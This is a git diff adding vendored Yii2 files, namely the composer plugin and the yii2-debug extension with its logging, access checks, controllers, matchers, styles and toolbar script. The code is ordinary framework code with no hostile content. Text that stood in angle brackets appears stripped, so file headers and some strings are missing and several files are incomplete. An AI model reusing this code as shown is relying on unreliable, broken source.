* Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + * Neither the name of Yii Software LLC nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-composer/Plugin.php b/php/yii2/basic/vendor/yiisoft/yii2-composer/Plugin.php new file mode 100644 index 00000000..1f08d53f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-composer/Plugin.php @@ -0,0 +1,35 @@ + + * @since 2.0 + */ +class Plugin implements PluginInterface +{ + /** + * @inheritdoc + */ + public function activate(Composer $composer, IOInterface $io) + { + $installer = new Installer($io, $composer); + $composer->getInstallationManager()->addInstaller($installer); + $file = rtrim($composer->getConfig()->get('vendor-dir'), '/') . '/yiisoft/extensions.php'; + if (!is_file($file)) { + @mkdir(dirname($file)); + file_put_contents($file, " + * @since 2.0 + */ +class DebugAsset extends AssetBundle +{ + public $sourcePath = '@yii/debug/assets'; + public $css = [ + 'main.css', + 'toolbar.css', + ]; + public $depends = [ + 'yii\web\YiiAsset', + 'yii\bootstrap\BootstrapAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/LogTarget.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/LogTarget.php new file mode 100644 index 00000000..ab7e42df --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/LogTarget.php @@ -0,0 +1,173 @@ + + * @since 2.0 + */ +class LogTarget extends Target +{ + /** + * @var Module + */ + public $module; + public $tag; + + + /** + * @param \yii\debug\Module $module + * @param array $config + */ + public function __construct($module, $config = []) + { + parent::__construct($config); + $this->module = $module; + $this->tag = uniqid(); + } + + /** + * Exports log messages to a specific destination. + * Child classes must implement this method. + */ + public function export() + { + $path = $this->module->dataPath; + if (!is_dir($path)) { + mkdir($path); + } + + $summary = $this->collectSummary(); + $dataFile = "$path/{$this->tag}.data"; + $data = []; + foreach ($this->module->panels as $id => $panel) { + $data[$id] = $panel->save(); + } + $data['summary'] = $summary; + file_put_contents($dataFile, serialize($data)); + + $indexFile = "$path/index.data"; + $this->updateIndexFile($indexFile, $summary); + } + + /** + * Updates index file with summary log data + * + * @param string $indexFile path to index file + * @param array $summary summary log data + * @throws \yii\base\InvalidConfigException + */ + private function updateIndexFile($indexFile, $summary) + { + touch($indexFile); + if (($fp = @fopen($indexFile, 'r+')) === false) { + throw new InvalidConfigException("Unable to open debug data index file: $indexFile"); + } + @flock($fp, LOCK_EX); + $manifest = ''; + while (($buffer = fgets($fp)) !== false) { + $manifest .= $buffer; + } + if (!feof($fp) || empty($manifest)) { + // error while reading index data, ignore and create new + $manifest = []; + } else { + $manifest = unserialize($manifest); + } + + $manifest[$this->tag] = $summary; + $this->gc($manifest); + + ftruncate($fp, 0); + rewind($fp); + fwrite($fp, serialize($manifest)); + + @flock($fp, LOCK_UN); + @fclose($fp); + } + + /** + * Processes the given log messages. + * This method will filter the given messages with [[levels]] and [[categories]]. + * And if requested, it will also export the filtering result to specific medium (e.g. email). + * @param array $messages log messages to be processed. See [[\yii\log\Logger::messages]] for the structure + * of each message. + * @param boolean $final whether this method is called at the end of the current application + */ + public function collect($messages, $final) + { + $this->messages = array_merge($this->messages, $messages); + if ($final) { + $this->export($this->messages); + } + } + + protected function gc(&$manifest) + { + if (count($manifest) > $this->module->historySize + 10) { + $n = count($manifest) - $this->module->historySize; + foreach (array_keys($manifest) as $tag) { + $file = $this->module->dataPath . "/$tag.data"; + @unlink($file); + unset($manifest[$tag]); + if (--$n <= 0) { + break; + } + } + } + } + + /** + * Collects summary data of current request. + * @return array + */ + protected function collectSummary() + { + $request = Yii::$app->getRequest(); + $response = Yii::$app->getResponse(); + $summary = [ + 'tag' => $this->tag, + 'url' => $request->getAbsoluteUrl(), + 'ajax' => (int)$request->getIsAjax(), + 'method' => $request->getMethod(), + 'ip' => $request->getUserIP(), + 'time' => time(), + 'statusCode' => $response->statusCode, + 'sqlCount' => $this->getSqlTotalCount(), + ]; + + if (isset($this->module->panels['mail'])) { + $summary['mailCount'] = count($this->module->panels['mail']->getMessages()); + } + + return $summary; + } + + /** + * Returns total sql count executed in current request. If database panel is not configured + * returns 0. + * @return integer + */ + protected function getSqlTotalCount() + { + if (!isset($this->module->panels['db'])) { + return 0; + } + $profileLogs = $this->module->panels['db']->getProfileLogs(); + + # / 2 because messages are in couple (begin/end) + + return count($profileLogs) / 2; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/Module.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/Module.php new file mode 100644 index 00000000..d884d685 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/Module.php @@ -0,0 +1,216 @@ + + * @since 2.0 + */ +class Module extends \yii\base\Module implements BootstrapInterface +{ + /** + * @var array the list of IPs that are allowed to access this module. + * Each array element represents a single IP filter which can be either an IP address + * or an address with wildcard (e.g. 192.168.0.*) to represent a network segment. + * The default value is `['127.0.0.1', '::1']`, which means the module can only be accessed + * by localhost. + */ + public $allowedIPs = ['127.0.0.1', '::1']; + /** + * @inheritdoc + */ + public $controllerNamespace = 'yii\debug\controllers'; + /** + * @var LogTarget + */ + public $logTarget; + /** + * @var array list of debug panels. The array keys are the panel IDs, and values are the corresponding + * panel class names or configuration arrays. This will be merged with [[corePanels()]]. + * You may reconfigure a core panel via this property by using the same panel ID. + * You may also disable a core panel by setting it to be false in this property. + */ + public $panels = []; + /** + * @var string the directory storing the debugger data files. This can be specified using a path alias. + */ + public $dataPath = '@runtime/debug'; + /** + * @var integer the maximum number of debug data files to keep. If there are more files generated, + * the oldest ones will be removed. + */ + public $historySize = 50; + /** + * @var boolean whether to enable message logging for the requests about debug module actions. + * You normally do not want to keep these logs because they may distract you from the logs about your applications. + * You may want to enable the debug logs if you want to investigate how the debug module itself works. + */ + public $enableDebugLogs = false; + + + /** + * Returns Yii logo ready to use in `
            '; + /* @var $view View */ + $view = $event->sender; + echo ''; + echo ''; + } + + /** + * Checks if current user is allowed to access the module + * @return boolean if access is granted + */ + protected function checkAccess() + { + $ip = Yii::$app->getRequest()->getUserIP(); + foreach ($this->allowedIPs as $filter) { + if ($filter === '*' || $filter === $ip || (($pos = strpos($filter, '*')) !== false && !strncmp($ip, $filter, $pos))) { + return true; + } + } + Yii::warning('Access to debugger is denied due to IP address restriction. The requesting IP address is ' . $ip, __METHOD__); + return false; + } + + /** + * @return array default set of panels + */ + protected function corePanels() + { + return [ + 'config' => ['class' => 'yii\debug\panels\ConfigPanel'], + 'request' => ['class' => 'yii\debug\panels\RequestPanel'], + 'log' => ['class' => 'yii\debug\panels\LogPanel'], + 'profiling' => ['class' => 'yii\debug\panels\ProfilingPanel'], + 'db' => ['class' => 'yii\debug\panels\DbPanel'], + 'assets' => ['class' => 'yii\debug\panels\AssetPanel'], + 'mail' => ['class' => 'yii\debug\panels\MailPanel'], + ]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/Panel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/Panel.php new file mode 100644 index 00000000..80cf8451 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/Panel.php @@ -0,0 +1,108 @@ + + * @since 2.0 + */ +class Panel extends Component +{ + /** + * @var string panel unique identifier. + * It is set automatically by the container module. + */ + public $id; + /** + * @var string request data set identifier. + */ + public $tag; + /** + * @var Module + */ + public $module; + /** + * @var mixed data associated with panel + */ + public $data; + /** + * @var array array of actions to add to the debug modules default controller. + * This array will be merged with all other panels actions property. + * See [[\yii\base\Controller::actions()]] for the format. + */ + public $actions = []; + + + /** + * @return string name of the panel + */ + public function getName() + { + return ''; + } + + /** + * @return string content that is displayed at debug toolbar + */ + public function getSummary() + { + return ''; + } + + /** + * @return string content that is displayed in debugger detail view + */ + public function getDetail() + { + return ''; + } + + /** + * Saves data to be later used in debugger detail view. + * This method is called on every page where debugger is enabled. + * + * @return mixed data to be saved + */ + public function save() + { + return null; + } + + /** + * Loads data into the panel + * + * @param mixed $data + */ + public function load($data) + { + $this->data = $data; + } + + /** + * @return string URL pointing to panel detail view + */ + public function getUrl() + { + return Url::toRoute(['/' . $this->module->id . '/default/view', + 'panel' => $this->id, + 'tag' => $this->tag, + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/README.md b/php/yii2/basic/vendor/yiisoft/yii2-debug/README.md new file mode 100644 index 00000000..32b55e0d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/README.md @@ -0,0 +1,46 @@ +Debug Extension for Yii 2 +========================= + +This extension provides a debugger for Yii 2 applications. When this extension is used, +a debugger toolbar will appear at the bottom of every page. The extension also provides +a set of standalone pages to display more detailed debug information. + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-debug "*" +``` + +or add + +``` +"yiisoft/yii2-debug": "*" +``` + +to the require section of your `composer.json` file. + + +Usage +----- + +Once the extension is installed, simply modify your application configuration as follows: + +```php +return [ + 'bootstrap' => ['debug'], + 'modules' => [ + 'debug' => 'yii\debug\Module', + // ... + ], + ... +]; +``` + +You will see a debugger toolbar showing at the bottom of every page of your application. +You can click on the toolbar to see more detailed debug information. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/bg.png b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/bg.png new file mode 100644 index 00000000..459dd788 Binary files /dev/null and b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/bg.png differ diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/main.css b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/main.css new file mode 100644 index 00000000..4381555c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/main.css @@ -0,0 +1,106 @@ +span.indent { + color: #ccc; +} + +ul.trace { + font-size: 12px; + color: #999; + margin: 2px 0 0 0; + padding: 0; + list-style: none; + white-space: normal; +} + +ul.assets { + margin: 2px 0 0 0; + padding: 0; + list-style: none; + white-space: normal; +} + +.callout-danger { + background-color: #fcf2f2; + border-color: #dFb5b4; +} +.callout { + margin: 0 0 10px 0; + padding: 5px; +} + +.list-group .glyphicon { + float: right; +} + +td, th { + white-space: pre-wrap; + word-wrap: break-word; +} + +.request-table td { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; + word-break: break-all; +} + +.config-php-info-table td.v { + word-break: break-all; +} + +.not-set { + color: #c55; + font-style: italic; +} + +.detail-grid-view th { + white-space: nowrap; +} + +/* add sorting icons to gridview sort links */ +a.asc:after, a.desc:after { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + padding-left: 5px; +} + +a.asc:after { + content: /*"\e113"*/ "\e151"; +} + +a.desc:after { + content: /*"\e114"*/ "\e152"; +} + +.sort-numerical a.asc:after { + content: "\e153"; +} + +.sort-numerical a.desc:after { + content: "\e154"; +} + +.sort-ordinal a.asc:after { + content: "\e155"; +} + +.sort-ordinal a.desc:after { + content: "\e156"; +} + +.mail-sorter { + margin-top: 7px; +} + +.mail-sorter li { + list-style: none; + float: left; + width: 12%; + font-weight: bold; +} + +.nowrap { + white-space: nowrap; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.css b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.css new file mode 100644 index 00000000..bb361eb1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.css @@ -0,0 +1,187 @@ +#yii-debug-toolbar { + padding: 0; + font: 11px Verdana, Arial, sans-serif; + text-align: left; + min-height: 40px; + overflow: auto; + background: rgb(246,246,246); + background: -moz-linear-gradient(top, rgba(237,237,237,1) 0%, rgba(246,246,246,1) 53%, rgba(255,255,255,1) 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(237,237,237,1)), color-stop(53%,rgba(246,246,246,1)), color-stop(100%,rgba(255,255,255,1))); + background: -webkit-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: -o-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: -ms-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: linear-gradient(to bottom, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ededed', endColorstr='#ffffff',GradientType=0 ); + background: rgb(246,246,246) url(data:image/svg+xml;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAoCAYAAAA/tpB3AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB94BBQwuINct3v0AAAAjSURBVAjXY3j79u1/JgYGBgYkgpGRkYEYMSpKUGLK+/fvGQAaDAb6F86IsAAAAABJRU5ErkJggg==); /* generated using "cat assets/bg.png | base64" */ +} + +.yii-debug-toolbar-top { + margin: 0 0 20px 0; + border-bottom: 1px solid #e4e4e4; +} + +.yii-debug-toolbar-bottom { + position: fixed; + left: 0; + right: 0; + bottom: 0; + margin: 0; + z-index: 1000000; + border-top: 1px solid #ccc; +} + +.yii-debug-toolbar-block { + float: left; + margin: 0; + border-right: 1px solid #e4e4e4; + padding: 4px 8px; + line-height: 32px; + white-space: nowrap; +} + +.yii-debug-toolbar-block a { + text-decoration: none; + color: black; +} + +.yii-debug-toolbar-block span { +} + +.yii-debug-toolbar-block img { + vertical-align: middle; +} + +#yii-debug-toolbar .label { + display: inline-block; + padding: 2px 4px; + font-size: 11.844px; + font-weight: normal; + line-height: 14px; + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + white-space: nowrap; + vertical-align: baseline; + background-color: #999999; +} + +#yii-debug-toolbar .label { + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +#yii-debug-toolbar .label:empty { + display: none; +} + +#yii-debug-toolbar a.label:hover, +#yii-debug-toolbar a.label:focus { + color: #ffffff; + text-decoration: none; + cursor: pointer; +} + +#yii-debug-toolbar .label-important { + background-color: #b94a48; +} + +#yii-debug-toolbar .label-important[href] { + background-color: #953b39; +} + +#yii-debug-toolbar .label-warning, +#yii-debug-toolbar .badge-warning { + background-color: #f89406; +} + +#yii-debug-toolbar .label-warning[href] { + background-color: #c67605; +} + +#yii-debug-toolbar .label-success { + background-color: #468847; +} + +#yii-debug-toolbar .label-success[href] { + background-color: #356635; +} + +#yii-debug-toolbar .label-info { + background-color: #3a87ad; +} + +#yii-debug-toolbar .label-info[href] { + background-color: #2d6987; +} + +#yii-debug-toolbar .label-inverse, +#yii-debug-toolbar .badge-inverse { + background-color: #333333; +} + +#yii-debug-toolbar .label-inverse[href], +#yii-debug-toolbar .badge-inverse[href] { + background-color: #1a1a1a; +} + +.yii-debug-toolbar-toggler { + cursor: pointer; + position: absolute; + right: 10px; + bottom: 4px; + width: 15px; + height: 30px; + font-size: 25px; + font-weight: 100; + line-height: 28px; + color: #ffffff; + text-align: center; + background: #666666; + -webkit-border-radius: 12px; + -moz-border-radius: 12px; + border-radius: 12px; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.yii-debug-toolbar-toggler:hover, +.yii-debug-toolbar-toggler:focus { + color: #ffffff; + text-decoration: none; + opacity: 0.9; + filter: alpha(opacity=90); +} + +#yii-debug-toolbar-min { + display: none; + position: fixed; + right: 0; + bottom: 0; + margin: 0; + padding: 0; + z-index: 1000000; + font: 11px Verdana, Arial, sans-serif; + text-align: left; + width: 63px; + height: 38px; + border-top: 1px solid #ccc; + border-left: 1px solid #ccc; + -webkit-border-top-left-radius: 6px; + -moz-border-top-left-radius: 6px; + border-top-left-radius: 6px; + background: rgb(237,237,237); + background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2VkZWRlZCIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjUzJSIgc3RvcC1jb2xvcj0iI2Y2ZjZmNiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmZmZmZmYiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); + background: -moz-linear-gradient(top, rgba(237,237,237,1) 0%, rgba(246,246,246,1) 53%, rgba(255,255,255,1) 100%); + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(237,237,237,1)), color-stop(53%,rgba(246,246,246,1)), color-stop(100%,rgba(255,255,255,1))); + background: -webkit-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: -o-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: -ms-linear-gradient(top, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + background: linear-gradient(to bottom, rgba(237,237,237,1) 0%,rgba(246,246,246,1) 53%,rgba(255,255,255,1) 100%); + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ededed', endColorstr='#ffffff',GradientType=0 ); +} + +#yii-debug-toolbar-logo { + position: fixed; + right: 31px; + bottom: 4px; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.js b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.js new file mode 100644 index 00000000..ef8ee74e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/assets/toolbar.js @@ -0,0 +1,42 @@ +(function () { + var ajax = function (url, settings) { + var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); + settings = settings || {}; + xhr.open(settings.method || 'GET', url, true); + xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); + xhr.setRequestHeader('Accept', 'text/html'); + xhr.onreadystatechange = function (state) { + if (xhr.readyState == 4) { + if (xhr.status == 200 && settings.success) { + settings.success(xhr); + } else if (xhr.status != 200 && settings.error) { + settings.error(xhr); + } + } + }; + xhr.send(settings.data || ''); + }; + + var e = document.getElementById('yii-debug-toolbar'); + if (e) { + e.style.display = 'block'; + var url = e.getAttribute('data-url'); + ajax(url, { + success: function (xhr) { + var div = document.createElement('div'); + div.innerHTML = xhr.responseText; + e.parentNode.replaceChild(div, e); + if (window.localStorage) { + var pref = localStorage.getItem('yii-debug-toolbar'); + if (pref == 'minimized') { + document.getElementById('yii-debug-toolbar').style.display = 'none'; + document.getElementById('yii-debug-toolbar-min').style.display = 'block'; + } + } + }, + error: function (xhr) { + e.innerHTML = xhr.responseText; + } + }); + } +})(); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/Filter.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/Filter.php new file mode 100644 index 00000000..c30779ee --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/Filter.php @@ -0,0 +1,81 @@ + + * @since 2.0 + */ +class Filter extends Component +{ + /** + * @var array rules for matching filters in the way: [:fieldName => [rule1, rule2,..]] + */ + protected $rules = []; + + + /** + * Adds data filtering rule. + * + * @param string $name attribute name + * @param MatcherInterface $rule + */ + public function addMatcher($name, MatcherInterface $rule) + { + if ($rule->hasValue()) { + $this->rules[$name][] = $rule; + } + } + + /** + * Applies filter on a given array and returns filtered data. + * + * @param array $data data to filter + * @return array filtered data + */ + public function filter(array $data) + { + $filtered = []; + + foreach ($data as $row) { + if ($this->passesFilter($row)) { + $filtered[] = $row; + } + } + + return $filtered; + } + + /** + * Checks if the given data satisfies filters. + * + * @param array $row data + * @return boolean if data passed filtering + */ + private function passesFilter(array $row) + { + foreach ($row as $name => $value) { + if (isset($this->rules[$name])) { + // check all rules for a given attribute + foreach ($this->rules[$name] as $rule) { + /* @var $rule MatcherInterface */ + if (!$rule->match($value)) { + return false; + } + } + } + } + + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/Base.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/Base.php new file mode 100644 index 00000000..4fa4b9b6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/Base.php @@ -0,0 +1,41 @@ + + * @since 2.0 + */ +abstract class Base extends Component implements MatcherInterface +{ + /** + * @var mixed base value to check + */ + protected $baseValue; + + + /** + * @inheritdoc + */ + public function setValue($value) + { + $this->baseValue = $value; + } + + /** + * @inheritdoc + */ + public function hasValue() + { + return !empty($this->baseValue) || ($this->baseValue === '0'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/GreaterThan.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/GreaterThan.php new file mode 100644 index 00000000..abc907ba --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/GreaterThan.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class GreaterThan extends Base +{ + /** + * @inheritdoc + */ + public function match($value) + { + return ($value > $this->baseValue); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/LowerThan.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/LowerThan.php new file mode 100644 index 00000000..c3d4f32b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/LowerThan.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class LowerThan extends Base +{ + /** + * @inheritdoc + */ + public function match($value) + { + return ($value < $this->baseValue); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/MatcherInterface.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/MatcherInterface.php new file mode 100644 index 00000000..88fb3af0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/MatcherInterface.php @@ -0,0 +1,39 @@ + + * @since 2.0 + */ +interface MatcherInterface +{ + /** + * Checks if the value passed matches base value. + * + * @param mixed $value value to be matched + * @return boolean if there is a match + */ + public function match($value); + + /** + * Sets base value to match against + * + * @param mixed $value + */ + public function setValue($value); + + /** + * Checks if base value is set + * + * @return boolean if base value is set + */ + public function hasValue(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/SameAs.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/SameAs.php new file mode 100644 index 00000000..89c1c593 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/components/search/matchers/SameAs.php @@ -0,0 +1,35 @@ + + * @since 2.0 + */ +class SameAs extends Base +{ + /** + * @var boolean if partial match should be used. + */ + public $partial = false; + + + /** + * @inheritdoc + */ + public function match($value) + { + if ($this->partial) { + return mb_stripos($value, $this->baseValue, 0, \Yii::$app->charset) !== false; + } else { + return strcmp(mb_strtoupper($this->baseValue, \Yii::$app->charset), mb_strtoupper($value, \Yii::$app->charset)) === 0; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-debug/composer.json new file mode 100644 index 00000000..6edd31af --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/composer.json @@ -0,0 +1,34 @@ +{ + "name": "yiisoft/yii2-debug", + "description": "The debugger extension for the Yii framework", + "keywords": ["yii2", "debug", "debugger"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "issues": "https://github.com/yiisoft/yii2/issues?labels=ext%3Adebug", + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "require": { + "yiisoft/yii2": "*", + "yiisoft/yii2-bootstrap": "*" + }, + "autoload": { + "psr-4": { + "yii\\debug\\": "" + } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/controllers/DefaultController.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/controllers/DefaultController.php new file mode 100644 index 00000000..dbb42d31 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/controllers/DefaultController.php @@ -0,0 +1,159 @@ + + * @since 2.0 + */ +class DefaultController extends Controller +{ + /** + * @inheritdoc + */ + public $layout = 'main'; + /** + * @var \yii\debug\Module + */ + public $module; + /** + * @var array the summary data (e.g. URL, time) + */ + public $summary; + + + /** + * @inheritdoc + */ + public function actions() + { + $actions = []; + foreach ($this->module->panels as $panel) { + $actions = array_merge($actions, $panel->actions); + } + + return $actions; + } + + public function actionIndex() + { + $searchModel = new Debug(); + $dataProvider = $searchModel->search($_GET, $this->getManifest()); + + // load latest request + $tags = array_keys($this->getManifest()); + $tag = reset($tags); + $this->loadData($tag); + + return $this->render('index', [ + 'panels' => $this->module->panels, + 'dataProvider' => $dataProvider, + 'searchModel' => $searchModel, + 'manifest' => $this->getManifest(), + ]); + } + + public function actionView($tag = null, $panel = null) + { + if ($tag === null) { + $tags = array_keys($this->getManifest()); + $tag = reset($tags); + } + $this->loadData($tag); + if (isset($this->module->panels[$panel])) { + $activePanel = $this->module->panels[$panel]; + } else { + $activePanel = $this->module->panels['request']; + } + + return $this->render('view', [ + 'tag' => $tag, + 'summary' => $this->summary, + 'manifest' => $this->getManifest(), + 'panels' => $this->module->panels, + 'activePanel' => $activePanel, + ]); + } + + public function actionToolbar($tag) + { + $this->loadData($tag, 5); + + return $this->renderPartial('toolbar', [ + 'tag' => $tag, + 'panels' => $this->module->panels, + 'position' => 'bottom', + ]); + } + + public function actionDownloadMail($file) + { + $filePath = Yii::getAlias($this->module->panels['mail']->mailPath) . '/' . basename($file); + + if ((mb_strpos($file, '\\') !== false || mb_strpos($file, '/') !== false) || !is_file($filePath)) { + throw new NotFoundHttpException('Mail file not found'); + } + + Yii::$app->response->sendFile($filePath); + } + + private $_manifest; + + protected function getManifest($forceReload = false) + { + if ($this->_manifest === null || $forceReload) { + if ($forceReload) { + clearstatcache(); + } + $indexFile = $this->module->dataPath . '/index.data'; + if (is_file($indexFile) && is_readable($indexFile)) { + $this->_manifest = array_reverse(unserialize(file_get_contents($indexFile)), true); + } else { + $this->_manifest = []; + } + } + + return $this->_manifest; + } + + public function loadData($tag, $maxRetry = 0) + { + // retry loading debug data because the debug data is logged in shutdown function + // which may be delayed in some environment if xdebug is enabled. + // See: https://github.com/yiisoft/yii2/issues/1504 + for ($retry = 0; $retry <= $maxRetry; ++$retry) { + $manifest = $this->getManifest($retry > 0); + if (isset($manifest[$tag])) { + $dataFile = $this->module->dataPath . "/$tag.data"; + $data = unserialize(file_get_contents($dataFile)); + foreach ($this->module->panels as $id => $panel) { + if (isset($data[$id])) { + $panel->tag = $tag; + $panel->load($data[$id]); + } else { + // remove the panel since it has not received any data + unset($this->module->panels[$id]); + } + } + $this->summary = $data['summary']; + + return; + } + sleep(1); + } + + throw new NotFoundHttpException("Unable to find debug data tagged with '$tag'."); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Base.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Base.php new file mode 100644 index 00000000..dd20fb8e --- /dev/null +++ 